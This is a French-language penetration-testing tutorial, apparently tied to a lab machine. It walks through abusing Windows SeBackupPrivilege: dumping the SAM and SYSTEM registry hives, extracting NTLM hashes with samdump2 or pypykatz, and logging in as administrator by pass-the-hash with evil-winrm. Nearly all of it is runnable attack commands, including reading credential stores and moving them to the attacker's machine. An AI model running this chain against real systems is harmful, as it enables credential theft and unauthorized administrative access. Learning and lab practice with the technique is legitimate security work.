# SeBackupPrivilege (whoami /priv) - Windows Privilege Escalation
**Vérification des privilèges**
Pour commencer, vérifions les privilèges de l'utilisateur actuel. Exécutez la commande suivante pour vérifier si l'utilisateur dispose du privilège `SeBackupPrivilege` :
```bash
whoami /priv
```
**Téléchargement des fichiers DLL nécessaires**
Pour abuser de ces privilèges, nous devons télécharger des fichiers DLL sur la machine de la victime. Vous pouvez l'obtenir [**ici**](https://github.com/giuliano108/SeBackupPrivilege) .
1. **SeBackupPrivilegeCmdLets.dll**
{% embed url="" %}
2. **SeBackupPrivilegeUtils.dll**
{% embed url="" %}
Téléchargez ces fichiers sur la machine de la victime à l'aide des commandes suivantes
```powershell
upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
```
**Chargement des modules DLL**
Une fois les fichiers DLL téléchargés, chargez-les dans la session PowerShell en utilisant les commandes suivantes :
```powershell
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
```
**Sauvegarde des fichiers SAM et SYSTEM**
Nous allons maintenant sauvegarder les fichiers `SAM` et `SYSTEM` qui contiennent les informations d'identification de l'utilisateur. Utilisez les commandes suivantes pour les sauvegarder :
```powershell
reg save hklm\sam sam
reg save hklm\system system
```
**Téléchargement des fichiers SAM et SYSTEM**
Après avoir sauvegardé les fichiers, vous pouvez les télécharger sur votre machine virtuelle (VM) pour les analyser :
```powershell
download sam
download system
```
### **Extraction des hachages du fichier SAM**
Utilisez `samdump2` pour extraire les hachages des fichiers `SAM` et `SYSTEM` :
```bash
samdump2 system sam
```
Si cette commande ne fonctionne pas, vous pouvez essayer avec `pypykatz` pour extraire les hachages directement :
```bash
pypykatz registry system --sam sam
```
Cela devrait vous fournir un hachage valide, comme par exemple :
* hash: `2b87e7c93a3e8a0ea4a581937016f341`
### **Pass-the-Hash avec Evil-WinRM**
Maintenant que vous avez le hachage, vous pouvez l'utiliser pour effectuer un "Pass-the-Hash" et vous connecter à la machine cible en utilisant `evil-winrm` :
```bash
evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```
